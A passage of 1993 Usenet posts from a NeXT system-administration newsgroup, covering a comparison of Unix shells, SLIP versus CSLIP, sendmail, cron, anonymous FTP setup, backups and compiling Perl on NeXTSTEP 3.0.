Subject: A brief comparative study of UN*X shells (was: bug with bash 1.12.1 on NS3.0)
In-Reply-To: shuque@microsupport.sas.upenn.edu's message of 19 Feb 93 17:42:57 GMT
To: shuque@microsupport.sas.upenn.edu (Shumon Huque)
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Date: Fri, 19 Feb 1993 22:32:09 GMT
In article <110378@netnews.upenn.edu> shuque@microsupport.sas.upenn.edu (Shumon Huque) writes:
> Even on danger of repeating myself, I have to point out that if you
> are used to bash, you should switch to zsh instead. The interactive
> features are comparable and in all programming respects zsh is much
> more similar to bash than tcsh is. Zsh also doesn't have this bash
> bug. :-)
Yes, this is a rather annoying bug. I still like bash however.
Carl, you did not point out *why* zsh is better than bash, merely that it
has comparable features .. Convince me and I'll switch :)
You are quite right of course. A long writeup of why zsh is the best
of all possible shells has been on my TODO list for a long time. But
as I haven't gotten around to it yet, let me give you the short
version.
In the beginning there was sh - the Bourne shell. Sh has a decent
programming language and today exists probably on every single UNIX
system in the universe. These two reasons alone dictate that
virtually all system shell scripts on all UNIX systems (including the
NeXT) as well as almost all portable shell scripts have been written
in it (and those few which haven't been, should have been).
Unfortunately sh has almost no features which would make it pleasant
to use interactively. Basically it reads programs from the stdin and
writes their output to stdout and that's that.
So csh was born. Csh has a prompt. And aliases. And history
substitution. And many other little things which make life for
interactive users simpler -- on the NeXT it can even do limited
command line editing. If the author of csh simply had put all these
things on top of the basic programming language of sh, probably sh
would no longer exist and all other shells would have descended from
csh. Instead he got the idea that giving csh a programming language a
little bit like a cross between C and sh would be a neat idea. What
resulted is arguably the worst most convulted bug-ridden inconsistent
unpredictable language ever to be created unintentionally (Intercal
was intentionally designed to be like that, though some would argue
that csh still beats it). For details on this, I refer you to Tom
Christiansens writeup "Csh Programming Considered Harmful".
From these two shells almost all other shells descend. Foremost among
the csh descendants is tcsh (available via anon ftp from
tesla.ee.cornell.edu). Tcsh adds many more nice interactive features
to csh, among them real command line and history editing, filename and
command name completion, spelling checking aso. As csh used to be the
standard shell for interactive use very many users have upgraded to
tcsh now for those reasons. It even fixes up some of the worst errors
in the csh scripting language, but as long as its author, Christos
Zoulas, insists on keeping it csh compatible there really isn't much
one can do. The latest version of tcsh compiles on a NeXT running 3.0
without problems.
The main descendant of the Bourne shell, is the Korn shell. Ksh is
what Csh should have been. The ksh programming language extends sh by
niceties like functions and local variables, but most sh programs run
under it. Ksh also has advanced interactive features. Unfortunately,
AT&T holds the copyright to ksh and NeXT has not licensed it from them
which means that you probably can't get ksh without paying several
thousand dollars for the source to AT&T.
To remedy this situation at least two shells have been written which
are by and large ksh compatible but publicly available. These are the
FSF's bash (available via anon ftp to prep.ai.mit.edu) and Paul
Falstad's zsh (available via anon ftp to cs.ucsd.edu) which these is
maintained by the a mailing list of developers,
zsh-list@cs.uow.edu.au. The latest releases of both should compile on
a NeXT running 3.0 just fine (though bash requires a little
twiddling). As they both strive to be ksh compatible their
programming languages are almost identical. The difference lies in
the interactive features. Bash has some very nice ones.
Zsh has every single one which any other of the above shells
(including bash and tcsh) has. It has coprocesses, spelling
correction, functions, aliases, global aliases, variables, arrays,
local variables and arrays, sh quoting, csh quoting, named user
directories, arbitrarily named directories, arithmetic expansion,
process substitution, complete sh history expansion, generalized
filename patterns with almost the same expressivity as any find
script, variable modifiers with the expressivity of sed, default
commands, pre-commands, post-commands, directory change commands,
periodic commands, scheduled commands, trapped exception commands,
emacs emulating command line editor, vi emulating command line editor,
re-bindable command keys, 152 editing commands in all, builtin help,
random number generation, cdpath, directory stacks, ignored
extensions, hostname completion, customized completion mail check,
login/out check, autologout, option completion, left justified
prompts, right justified prompts, directory in prompts, trailing
directory component in prompt, shortest directory description using
names in prompt, time&day in prompt, most of the functionality of
time(1), automatic export, implicit 'cd', automatic menus on
completion, automatic pushd, automatic removal of trailing slashes,
automatic resume, automatic nicing of background jobs, optional
chasing of symlinks, to name just a few of the things which come to
mind. For a more extensive list I refer you to the man page and info
page and introductory text which comes with every zsh (though usually
there are even more options which just nobody has gotten around to
documenting). In short, there is no reason in the world _not_ to use
zsh.
For people who worry about software bloat, here are the data on my
system.
-rwxr-xr-x 1 root wheel 45120 May 30 1992 /usr/local/bin/rc*
-rwxr-xr-x 1 root wheel 106496 Jul 21 1992 /bin/csh*
-rwxr-xr-x 2 root wheel 122880 Jul 21 1992 /bin/sh*
-rwxr-xr-x 1 cedman wheel 204800 Feb 14 11:52 /usr/local/bin/zsh*
-rwxrwxr-x 1 cedman wheel 204800 Feb 6 22:45 /usr/local/bin/tcsh*
-rwxr-xr-x 1 cedman wheel 221184 Feb 14 13:27 /usr/local/bin/bash*
I'll let you know if I ever finish the long writeup.
Carl Edman
From: cew6@po.CWRU.Edu (Carlin E. Wiegner)
Newsgroups: comp.sys.next.sysadmin
Subject: UPgrading to 3.0.....
Date: 21 Feb 1993 15:55:17 GMT
Organization: Case Western Reserve University, Cleveland, Ohio (USA)
Message-ID: <1m88l5INN9b4@usenet.INS.CWRU.Edu>
Well, I've looked everywhere else and many people have tried to
help me upgrade from 3.0 screwed up to 3.0 extended (which the
machine was orignally supposed to have on it when it was
shipped to me 10 days ago).
I have a mono-slab with a 400 meg harddrive, Apple Cd-Rom, Terminator,
SCSI 2-SCSI 1 cable (according to NeXTconnection), and the 3.0 cd.
Whenever I stick the disc in it says Disk Unformatted Disk is Write
Protected. Then ejects the disc. Someone said I can boot from a
floppy and rebuilt the whole drive but didn't say how. This is fine
with me because there is nothing on there that I need. Please help
me, my only consolation for this whole hardware dropping business
is that I have one of the orignal "Black Boxes" but I CAN'T GET IT
TO WORK AND IT IS REALLY PISSING ME OFF.
PLEASE HELP!
Thanks you to all those who have helped, are helping and will help!
CW
P.S. Could it be that I need new cd-rom drivers?
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From: cedman@princeton.edu (Carl Edman)
Subject: Re: CSLIP vs. SLIP....
In-Reply-To: dillon@overload.Berkeley.CA.US's message of 17 Feb 93 15:02:49 PST
To: dillon@overload.Berkeley.CA.US (Matthew Dillon)
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Date: Sat, 20 Feb 1993 13:19:58 GMT
In article <dillon.0uvp@overload.Berkeley.CA.US> dillon@overload.Berkeley.CA.US (Matthew Dillon) writes:
In article <1l9e9rINNc7k@usenet.INS.CWRU.Edu> cew6@po.CWRU.Edu (Carlin E. Wiegner) writes:
>
>Is there really a difference between CSLIP and SLIP in terms of
>speed. I can get Marble's product with CSLIP for $125 but on the
>other hand I can pay nothing and get SLIP for free over the internet.
>Please email opinions.
>CW
The only real difference is with small packets --- i.e., typing. If
you are satisfied with the echo-response of your typing over SLIP then
you do not really need CSLIP.
That's true, but then again if you are satisfied with the interactive
performance of SLIP, you must be running SLIP over Ethernet. :-)
Carl Edman
From: statman@stat.ufl.edu (charles d. kincaid)
Newsgroups: comp.sys.next.sysadmin
Subject: lone NeXT on a Sun network needs sendmail.cf
Date: 21 Feb 1993 18:58:37 GMT
Organization: University of Florida College of Engineering
Message-ID: <1m8jctINNl1l@bigguy.eng.ufl.edu>
THE SALUTATION
Hello,
THE INTRODUCTION
I previously posted this to comp.mail.sendmail, but haven't received
a reply. (Maybe I just need to be patient) I thought I would post this here
because the situation I'm in might be pretty common with NeXT's.
Our department (Statistics, UF) has a network of Sun machines (sorry,
I tried. :-) that is running yellowpages. The domain name is stat.ufl.edu.
Mail is addressed as statman@stat.ufl.edu.
My NeXTstation, NS2.1, is attached to this network, but is not part
of the yellowpages setup. My machine name is jackcraval.stat.ufl.edu. (It's
a fish. :-) The problem is in getting mail to my account on the NeXT. Since
the machine name is stripped off of the address it can't go to a specific
machine. A solution that we are using is to alias my IP number with the name
apeiron.ufstat.ufl.edu (It's an ancient Greek word). Now mail can go to
my machine directly.
THE PROBLEM
Actually there are two. Mail gets to my machine, but doesn't get
to my account and outgoing mail has the return address
statman@ufstat.ufl.edu instead of statman@stat.ufl.edu. The reason for
this is (obviously ?) the configuration for sendmail.
THE IDEAL SOLUTION
I would like to have my mailer simply forward all outgoing email
to the Sun networks mailer. This will (I hope!) cause the return address
to be statman@stat.ufl.edu. Also, I would like my mailer to know who I am
on my machine! I have a .forward in my Sun account that sends it to
statman@apeiron.stat.ufl.edu and like I said above it gets to the machine
(I used mail -v statman@apeiron.ufstat.ufl.edu), but it gets lost from
there.
THE QUESTION
Does anyone have a sendmail.cf file that does what I need it to?
May I use it? PLEASE! Pretty Please, with sugar on top, and whipped
cream, and a cherry, and a dill pickle? Okay, skip the cherry. :-)
Any help, pointers or sendmail.cf files will be greatly appreciated.
THE CLOSING
Thank you,
THE NAME
charles d. kincaid
THE APOLOGY
p.s. Sorry for the weird format. I'm just in one of those kooky moods. :-)
THE .SIG
------------------------------------------------------------------------------
Dept. of Statistics 'Damn fine coffee...and hot, too!'
statman@stat.ufl.edu
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From: Paul_Kunz@slac.stanford.edu (Paul Kunz)
Subject: Re: Help not implemented in any Apps?
Message-ID: <C2tEFC.JuF@unixhub.SLAC.Stanford.EDU>
Sender: news@unixhub.SLAC.Stanford.EDU
Organization: Stanford Linear Accelerator Center
References: <C2nwp3.C7w@usenet.ucs.indiana.edu>
Date: Sun, 21 Feb 1993 20:04:23 GMT
In article <C2nwp3.C7w@usenet.ucs.indiana.edu>
francisr@stupid.ucs.indiana.edu (Rob Francis) writes:
>
> I don't know why this is. I've upgraded several machines to 3.0 from
> 2.1. None of them have the new fancy-dancy help that is suppose to be
> great about 3.0. When I go to Info/Help in Workspace or Mail.crap, I
> get a panel which reads, "This application doesn not implement
> NextStep Help". However, I know people that have 3.0 NextStep help in
> both of the afore mentioned apps.
>
> Has anyone else seen this?
>
Yes, I've seen it. Seems to be the case for machines that were part of
the PreRelease program. Those that only saw the final release have the
help implemented. To get the help working, it seems to be sufficient to
open the xxx.app/English.lproj directory and copy in the Help directory from
a machine were help is working.
--
Paul F. Kunz Paul_Kunz@slac.stanford.edu (NeXT mail ok)
Stanford Linear Accelerator Center, Stanford University
Voice: (415) 926-2884 (NeXT) Fax: (415) 926-3587
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From: irving@Happy-Man.com (Irving_Wolfe)
Subject: Re: A brief comparative study of UN*X shells (was: bug with bash 1.12.1 on NS3.0)
Message-ID: <1993Feb21.170707.13545@Happy-Man.com>
Organization: Happy Man Corp., Vashon Island, WA 98070-7399
References: <CEDMAN.93Feb17143757@capitalist.princeton.edu> <110378@netnews.upenn.edu> <CEDMAN.93Feb19183209@capitalist.princeton.edu>
Date: Sun, 21 Feb 1993 17:07:07 GMT
Just so Carl Edman isn't alone in this, let me add that I've been
using zsh since he introduced me to it some months ago, and have
made it the standard interactive shell on our systems. I think
only one person still uses csh.
Try it, you'll like it!
Regards,
- Irving
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From: knelson@milli.cs.umn.edu (Kenneth Nelson)
Subject: Please help: SCSI timeout
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Date: Mon, 22 Feb 1993 00:07:34 GMT
Netters,
I am trying to backup a NeXT Dimension running NeXTSTEP 2.1 to a SCSI
DAT Archive Python Model 4230 using /usr/etc/dump. Approximately 1/2
through the backup, dump crapped out with a tape write error. Further
examination of the console revealed:
reselect timeout - target 5
st: cmd = 0xa sr_io_status = 5H
Which (to me) means dump issued a write command to the device and it
timed out.
This has happened a couple times and is quite annoying. I have the
following questions:
1. Should the time out value be set higher? Browsing
/usr/include/nextdev/scsireg.h indicates this could be done using
ioctl. If so, any advice on how to do it?
2. Is it reasonable for a SCSI peripheral to be unable to keep up?
3. Has anyone else had this problem?
4. Should I use a different backup app.?
The DAT is the only external SCSI device. The NeXT is fully booted,
running NeXTSTEP in multi-user mode. However, the root is the only
user, the machine is stand-alone, and dump is the only application
executing, expect for BackSpace.
Please help. Thanks in advance,
Ken
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From: davisre@sage.cc.purdue.edu (Robert Davis)
Subject: Re: A brief comparative study of UN*X shells (was: bug with bash 1.12.1 on NS3.0)
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Date: Mon, 22 Feb 1993 01:39:46 GMT
In article <1993Feb21.170707.13545@Happy-Man.com> Irving_Wolfe@Happy-Man.com writes:
>Just so Carl Edman isn't alone in this, let me add that I've been
>using zsh since he introduced me to it some months ago, and have
>made it the standard interactive shell on our systems. I think
>only one person still uses csh.
>
>Try it, you'll like it!
I'll add a me-too to that. I've been using zsh for almost a
year and a half and it really is great. One thing that I've heard
some people (mostly csh/tcsh users) say is that if you don't like
csh's programming syntax then you can just use Bourne's shell to
program in but use something like tcsh interactively. But I
frequently write mini-scripts interactively -- using for and while
from the command line -- and it sure is nice to have a shell like zsh
that gives you a great interactive environment without compromising
the programming syntax.
Plus the author has always made an effort to make it easy to
compile on a NeXT.
Many months ago there was a document at convex.com about why
csh syntax is not very good to program in -- if it's still there,
check it out.
Rob
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From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo)
Subject: Q: Setting up FTP site
Message-ID: <1993Feb22.050837.3489@magnus.acs.ohio-state.edu>
Sender: news@magnus.acs.ohio-state.edu
Organization: The Ohio State University
Date: Mon, 22 Feb 1993 05:08:37 GMT
What's the easiest way to set up an ftp site for a large group of people
that would be ftp'ing in from all over the place?
Would it be more feasable to just set up an anon ftp site instead of
trying to restrict access?
Either way, I've got no clue how to set either of the above up. Any
help would be appreciated.
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From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: CSLIP vs. SLIP....
Message-ID: <C2u5E6.FvD@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <1l9e9rINNc7k@usenet.INS.CWRU.Edu> <dillon.0uvp@overload.Berkeley.CA.US> <CEDMAN.93Feb20091958@capitalist.princeton.edu>
Date: Mon, 22 Feb 1993 05:46:39 GMT
cedman@princeton.edu (Carl Edman) writes:
>In article <dillon.0uvp@overload.Berkeley.CA.US> dillon@overload.Berkeley.CA.US (Matthew Dillon) writes:
> The only real difference is with small packets --- i.e., typing. If
> you are satisfied with the echo-response of your typing over SLIP then
> you do not really need CSLIP.
>That's true, but then again if you are satisfied with the interactive
>performance of SLIP, you must be running SLIP over Ethernet. :-)
I am truly satisfied with the interactive performance of my SLIP
over v.32bis/v.42bis. It is as fast as a 8088 PC running NCSA Telnet
connected via ethernet or a Mac running NCSA Telnet connected via
Ethernet. It's as fast as I need, even as I type this message using
vi. Of course, I wish binary file transfers went faster, but CSLIP
won't help this much.
Could it be that those packet headers are being compressed by
v.42bis a whole bunch, and that's what causing my fairly good
speed?
--
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Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
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From: eilts@late.e-technik.uni-erlangen.de (Hinrich Eilts)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Q: Setting up FTP site
Date: Mon, 22 Feb 1993 12:54:01 GMT
Organization: LATE, Uni-Erlangen, Germany
Message-ID: <1maid9E8ou@uni-erlangen.de>
References: <1993Feb22.050837.3489@magnus.acs.ohio-state.edu>
How to build an anonymous-ftp-site:
1) make a user-account for user ftp, password *, home /users/ftp,
login-shell /bin/false
(my /etc/passwd - entry is: ftp:*:21:23:anonymous:/users/ftp:/bin/false)
2) create in /user/ftp the directories
pub etc bin
d--x--x--x 2 root 1024 Nov 18 12:38 bin/
d--x--x--x 2 root 1024 Nov 18 12:57 etc/
dr-xr-xr-x 7 ftp 1024 Dec 12 15:27 pub/
3) make a hard-link in bin
---x--x--x 1 root 106496 Oct 22 1990 ls
4) and put copies of /etc/group and /etc/passwd in etc
-r--r--r-- 1 root 24 Nov 18 12:57 group
-r--r--r-- 1 root 75 Nov 18 12:43 passwd
Replace all coded passwords in passwd by *
You can even delete all entrys in group and passwd not used in /users/ftp/*
Now, if somebody use anonymous-ftp a chroot happens to /users/ftp, i.e.
"/users/ftp" seems as "/" to him. So /users/ftp/bin/ls looks like /bin/ls
for him and he want it for "ls" and "dir".
Se same happens with /users/ftp/etc/*, to get user- and groupnames in dir,
he wants the copies of group and passwd, but for safety replace the passwords
by an asterik and all superfluous entrys, "ftp" and "root" may suffice together
with its groups.
In pub you can install the ordinary directories, e.g. a submissions - directory
read/writeable by all for incoming stuff and directories only readable by
all for outgoing stuff, as usuall.
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From: kelley@kiwi.ATMOS.ColoState.Edu (Kelley Wittmeyer)
Subject: SUMMARY: crontab and cron problems
Sender: news@yuma.ACNS.ColoState.EDU (News Account)
Message-ID: <Feb22.155235.98774@yuma.ACNS.ColoState.EDU>
Date: Mon, 22 Feb 1993 15:52:35 GMT
Organization: Colorado State University, Fort Collins, CO 80523
Keywords: cron crontab summary
thank you to all who responded to my post.
PROBLEM:
> i execute about 9 of my own scripts from cron, the
> entries, of course, being in /etc/crontab.
>
> the latest 5 i added are not being run, i have noticed.
>
> i can run them myself from the command line so they are
> not erroring out. i cannot find any messages to why they
> are not run.
SOLUTION:
i moved all of my entries in /etc/crontab to /etc/crontab.local.
things started working. i believe reimer mellin has the answer
to why this worked:
>There is a bug in cron having either to much or one to few newlines
>in the crontab file. This triggers exactly the behaviour you decribe
>namely the non-execution of the last entry.
other things that can cause cron problems:
o not specifying the full path of the executable in the entry.
o the last line of crontab must end with a newline character.
therefore, vi presents no problem, Edit.app does.
o extra spaces at the end of crontab entries causes a problem.
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From: wherndon@smiley.mitre.org (William Herndon)
Subject: NetBoot client refuses user logins
Message-ID: <1993Feb22.161213.13087@linus.mitre.org>
Sender: news@linus.mitre.org (News Service)
Organization: The MITRE Corporation, McLean, VA
Date: Mon, 22 Feb 1993 16:12:13 GMT
OK all you NeXT sysadmin gurus: I've got a problem that probably has
a simple solution, but I can't seem to find it.
I have an 030 cube that is acting as a NetBoot client off of an 040
station. I've done all of the usual setup, including:
- Creating and exporting /clients/<cubename> (read/write/root) to
the the cube.
- Exporting / to the cube (read-only)
- Identifying the cube and the station in the NetInfo database.
- Identifying the necessary user accounts as "network".
OK, so the cube loads and boots NeXTStep and mach with a couple of
error messages that don't seem to inhibit startup and login. ( One
seems to have to do with linking to, or linking, the "kern_loader".
The other says something about giving up on the station's hostname,
about it not being in the database. ) Anyway, the cube DOES come up,
and I can log in as root or as "me". However, logging in under any
of network user accounts fails. ( The workspace acts as if I'd en-
tered an incorrect password. )
What might be the problem? Does it have to do with exporting the
network user's home directories via NFS, or perhaps making them
available through NetInfo? I'm stumped and any help would be
appreciated.
Thanks much.
- Max
| William R. Herndon \ The MITRE Corporation, Dept. G023 |
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Newsgroups: comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: CSLIP vs. SLIP....
In-Reply-To: lemson@ux1.cso.uiuc.edu's message of Mon, 22 Feb 1993 05:46:39 GMT
To: lemson@ux1.cso.uiuc.edu (David Lemson)
Message-ID: <CEDMAN.93Feb22075949@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1l9e9rINNc7k@usenet.INS.CWRU.Edu> <dillon.0uvp@overload.Berkeley.CA.US>
<CEDMAN.93Feb20091958@capitalist.princeton.edu>
<C2u5E6.FvD@ux1.cso.uiuc.edu>
Date: Mon, 22 Feb 1993 11:59:49 GMT
In article <C2u5E6.FvD@ux1.cso.uiuc.edu> lemson@ux1.cso.uiuc.edu (David Lemson) writes:
>In article <dillon.0uvp@overload.Berkeley.CA.US> dillon@overload.Berkeley.CA.US (Matthew Dillon) writes:
> The only real difference is with small packets --- i.e., typing. If
> you are satisfied with the echo-response of your typing over SLIP
> then you do not really need CSLIP.
>That's true, but then again if you are satisfied with the interactive
>performance of SLIP, you must be running SLIP over Ethernet. :-)
I am truly satisfied with the interactive performance of my SLIP
over v.32bis/v.42bis. It is as fast as a 8088 PC running NCSA Telnet
connected via ethernet or a Mac running NCSA Telnet connected via
Ethernet. It's as fast as I need, even as I type this message using
vi. Of course, I wish binary file transfers went faster, but CSLIP
won't help this much.
Could it be that those packet headers are being compressed by
v.42bis a whole bunch, and that's what causing my fairly good
speed?
As it so happens I wrote a short note to Matthew Dillon on this
subject a few minutes ago. Here is the text.
Forgive me, but I disagree. I run SLIP over a pair of V32.bis V42.bis
modems (ie. 14,400 bps with LAP/M) with the serial ports configured to
38,400 bps and interactive performance is barely as good as a direct
connection at 2400 bps (except, that is for lengthy output -- a 'ls'
of a long directory is of course much faster). If you look at the VJ
TCP header compression used by CSLIP you find that most of the schemes
used for compression actually are reasonably clever in a way in which
the LZW derivative which LAP/M uses couldn't be. For example, the
default packet number for each header is the old packet number + 1.
None of the standard compression algorithms I know of, would be clever
enough to detect that pattern and compress it away.
Carl Edman
From: robert@steffi.demon.co.uk (Robert David Nicholson)
Newsgroups: comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: Public Key Encryption and Mail.app
Date: 22 Feb 1993 17:38:10 -0000
Organization: me organized? That's a joke!
Distribution: world
Message-ID: <1mb322$55p@steffi.demon.co.uk>
For those people wanting Public Key Encryption in Mail.app or any other
app couldn't one achieve this by writing a service.
Something like.
A service communicates with a repository using Distributed objects
to allow the passing of a public key and then simply using the senders
private key to do the other bit.
The service could simply scan the article for the senders id and map
that to their public key.
Not knowing all that much about public key encryption (I only did a
10 minute talk on it once for a class,2 years ago) is this possible?
I think it would be a productive and educational exercise for
Distributed objects for sure.
If somebody mails me the spec for Public Key encryption (No libraries
near by im afraid) I will take a crack at this.
Cheers.
From: penney@cl-next4.cl.msu.edu (Chris Penney)
Newsgroups: comp.sys.next.sysadmin
Subject: External HD's
Date: 22 Feb 1993 23:25:03 GMT
Organization: Michigan State University
Message-ID: <1mbncf$naq@msuinfo.cl.msu.edu>
Looking for a good External Hard Drive in the range of 200 - 500 megs.
Any input is appreciated... by mail please.
Chris Penney
penney@cl-next4.cl.msu.edu
Newsgroups: comp.sys.next.sysadmin
From: jcorallo@ccsi.com (P. John Corallo)
Subject: Re: NFS exporting external disk problems
Message-ID: <1993Feb22.163213.367@ccsi.com>
Sender: jcorallo@ccsi.com
Organization: Crystal Computer Systems, Inc.
References: <1m6o59INN76n@shelley.u.washington.edu>
Date: Mon, 22 Feb 1993 16:32:13 GMT
In article <1m6o59INN76n@shelley.u.washington.edu>
basiji@stein.u.washington.edu (David Basiji) writes:
>
> Greetings. We have a simple Netinfo network (is netinfo ever simple?)
> and we want to NFS export an external drive on one of the servers.
> We've entered it into the database via NSF manager along with two
directories
> from the server's internal drive. At first, everything was fine. Then,
> we chown'd and chmod'ed some file on the external drive and now it won't
> export. Funny thing is, if I manually "exportfs -a", all is well.
> We've tried everything, including editing of the Netinfo database to
delete
> and recreate the server's "exports" directory entry for this drive but
> still no go.
>
It is possible that the external disk is not mounting automatically. Try
logging in on the server and if the disk icon shows up on the doc then you
know that it is mounting as a removable drive. Or try exporting and
mounting while leaving the console logged in on the NFS server. If it
work,s log out and see if the NFS drive fails. If that is the case, you
may have to put an entry in /etc/fstab for the external disk. If that
does not work, try putting the mount command in /etc/rc to do the mount
manually at boot up.
-John Corallo
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: REQUEST ASSISTANCE with NXStringTable: parse error
Message-ID: <1993Feb22.164612.25344@latcs1.lat.oz.au>
From: nicolek@latcs2.lat.oz.au (Nicole KAIYAN)
Date: Mon, 22 Feb 1993 16:46:12 GMT
Sender: news@latcs1.lat.oz.au (news)
Followup-To: comp.sys.next.admin
Organization: Comp Sci, La Trobe Uni, Australia
Keywords: NeXTSTEP
Summary: NXStringTable: parse error
In the spirit of the Internet I am asking for some assistance with a
recent problem that is beginning to crash Workspace Manager.
The console is reporting a number of errors of the sort below and I
would greatly appreciate a wiser soul explaining what has happened and
how to fix this fault.
Console window dump as follows from boot-up:
Software Version 3.0 (Hyper3B)
Feb 23 03:15:00 number_one BackSpace[201]:NXStringTable:parse error before '^D'
Feb 23 03:15:01 number_one last message repeated 10 times
Feb 23 03:15:04 number_one WM[199]: NXStringTable: parse error before '^D'
Feb 23 03:15:04 number_one last message repeated 8 times
Then after a few launches of applications the console has these added:
Feb 23 03:19:51 number_one Edit[216]: NXStringTable: parse error before '^D'
Feb 23 03:19:51 number_one last message repeated 17 times
Feb 23 03:21:04 number_one WM[199]: NXStringTable: parse error before '^D'
Feb 23 03:30:05 number_one Stuart[219]: NXStringTable: parse error before '^D'
Feb 23 03:30:05 number_one last message repeated 17 times
Thank you kindly in advance.
Nicole
--------------------------------- -------------------------------------
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| Computer Science Department | |
| La Trobe University | NeXTmail welcome |
| Melbourne 3083 | |
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From: Christian.Andretzky@TU-Chemnitz.DE (Christian Andretzky)
Subject: Re: Help Compiling Perl
Message-ID: <1993Feb23.052530.25822@mb3.tu-chemnitz.de>
Sender: inews@mb3.tu-chemnitz.de (Internet news)
Organization: University of Technology Chemnitz, FRG
References: <1m625h$5ad@steffi.demon.co.uk>
Date: Tue, 23 Feb 1993 05:25:30 GMT
In article <1m625h$5ad@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert
David Nicholson) writes:
> Jon Vestal (jonv@ptnext.claremont.edu) wrote:
> : Hi,
>
> : Can someone help me compile perl on a NeXT running NS 3.0. Everything
> : seems to work except for the getgrgid. I've tryed compiling several ways
> : using the builtin perl setgid and the C setgid. I thinks it is probably a
> : problem with the type of int returned by getuid and getgid. Any help
> : would be appreciated.
>
> : Jon Vestal
> : Systems Technician
> : Pitzer College
> : jonv@ptnext.claremont.edu
>
> Everybody, this is the 3rd time I have had to answer this question in as many
> weeks. Nathan, how about an FAQ on this.
>
> To compile perl patchlevel 35 under NS3.0 some modifications to the Configure
> script are necessary.
>
> This is because Configure checks for the existance of certain include files
and these determine which perl routines will actually be compiled into the
binary via #ifdefs.
>
> Note: "make test" only detects that the getuid routines are there while
infact the passwd routines are also not compiled.
>
> To successfully compile perl properly apply these changes to the Configure
script.
>
> Look for the line
>
> if $test -r $usrinclude/pwd.h ; then
>
> change it to
>
> if $test -r $usrinclude/bsd/pwd.h ; then
>
> AND
>
> if $test -r $usrinclude/grp.h ; then
>
> change it to
>
> if $test -r $usrinclude/bsd/grp.h ; then
>
> Good luck.
O.K. this works for me but I can see at least 3 other problems compiling perl
4.35 or 4.36 with NS 3.0:
- the O_* (O_RDONLY ...) constants could not be found. I got the following
message from Configure.
| ...
|ndbm.h found.
|
|dbm.h found.
|
|Looks like you have Berkeley networking support.
|
|I can't find the O_* constant definitions! You got problems.
|
|pwd.h found.
| ...
- if I run make I get the following errors/warnings:
...
tdoio.c: In function `do_open':
tdoio.c:294: warning: incompatible pointer type for argument 2 of
`getsockname'
tdoio.c: In function `do_bind':
tdoio.c:1451: warning: incompatible pointer type for argument 2 of `bind'
tdoio.c: In function `do_connect':
tdoio.c:1482: warning: incompatible pointer type for argument 2 of `connect'
tdoio.c: In function `do_getsockname':
tdoio.c:1673: warning: incompatible pointer type for argument 2 of
`getsockname'
tdoio.c:1677: warning: incompatible pointer type for argument 2 of
`getpeername'
...
- if I try to 'make test' all seems to b OK except one warning/error:
...
comp/cmdopt....ok
comp/cpp.......:10: unterminated string or character constant
ok
comp/decl......ok
...
Can I ignore this messages or are there some things to do.
Thanx in advance for any help/suggestions
Cheers, Christian
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From: hardy@golem.ps.uci.edu (Meinhard E. Mayer (Hardy))
Subject: How does one back up to multiple floppies with gnutar?
Message-ID: <HARDY.93Feb22232252@golem.ps.uci.edu>
Newsgroups: comp.sys.next.sysadmin
Organization: Department of Physics, UC Irvine, CA 92717-4575, USA
Date: 23 Feb 93 07:21:11 GMT
Could soemone educate me on the use of gnutar to backup to multiple
floppies?
I tried, e.g.,
asroot gnutar -cvMf /dev/rfd0b /hardy
and got about 2.5 floppies worth of tarring, when the system
panicked and rebooted. Here is what I found in messages:
Feb 22 21:58:16 Weyl mach: /Backup.1: file system full
Feb 22 21:58:16 Weyl mach: IO error on pageout: error = 28.
Feb 22 21:58:16 Weyl mach: vnode_pageout: failed!
Feb 22 21:58:16 Weyl mach: IO error on pageout: error = 28.
Feb 22 21:58:16 Weyl mach: vnode_pageout: failed!
Feb 22 21:58:16 Weyl mach: IO error on pageout: error = 28.
Feb 22 21:58:16 Weyl mach: vnode_pageout: failed!
Feb 22 21:58:16 Weyl mach: IO error on pageout: error = 28.
Feb 22 21:58:16 Weyl mach: vnode_pageout: failed!
Feb 22 22:05:20 Weyl mach: Disk Label: Backup.2
Feb 22 22:05:20 Weyl mach: Disk Capacity 2880 KB, Device Block 512 bytes
Feb 22 22:08:45 Weyl mach: /Backup.2: bad dir ino 2 at offset 0: mangled entry
Feb 22 22:08:46 Weyl mach: /Backup.2: out of inodes
Feb 22 22:10:59 Weyl mach: /Backup.3: bad dir ino 2 at offset 0: mangled entry
Feb 22 22:15:22 Weyl mach: mode = 041220, inum = 5, fs = /Backup.3
Feb 22 22:15:22 Weyl mach: panic: (Cpu 0) ialloc: dup alloc
Feb 22 22:15:22 Weyl mach: NeXT ROM Monitor 2.2 v63
Feb 22 22:15:22 Weyl mach: panic: NeXT Mach 3.0: Wed Jul 29 19:43:28 PDT 1992; root(rcbuilder):mk-127.15/BUILD/RELEASE_M68K
Feb 22 22:15:22 Weyl mach:
Feb 22 22:15:22 Weyl mach: Killing all processes <159>dutclose line xbe0
Feb 22 22:15:22 Weyl mach: ...rebooting Mach...
Am I right to assume that the floppy (from which I had removed
previously stored files) had a bad file system, and shoudl I try again
with reformatted disks?
I had tried before using "Squash" but that failed due to "floppy disk
active" (when it wasn't).
Any advice welcome.
Thanks
--
Hardy
-----
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From: disc@vector.intercon.com (David Casti)
Newsgroups: alt.wais,comp.infosystems.wais,comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.programmer
Subject: wais
Date: 23 Feb 1993 17:08:09 GMT
Organization: InterCon Systems Corporation
Distribution: world
Message-ID: <1mdllpINNqvb@intercon.intercon.com>
Hi,
I can't seem to get wais compiled on my NeXT... I've set the compiler options
to -O -ansi since the README file says the wais code is in ansi C. I found
the cool NeXTy window interface already compiled, but I want to run swais,
waissearch, and the wais server.
Any help would be greatly appreciated.
Thanks,
David.
From: disc@vector.intercon.com (David Casti)
Newsgroups: comp.sys.next.sysadmin
Subject: Top
Date: 23 Feb 1993 17:04:48 GMT
Organization: InterCon Systems Corporation
Distribution: world
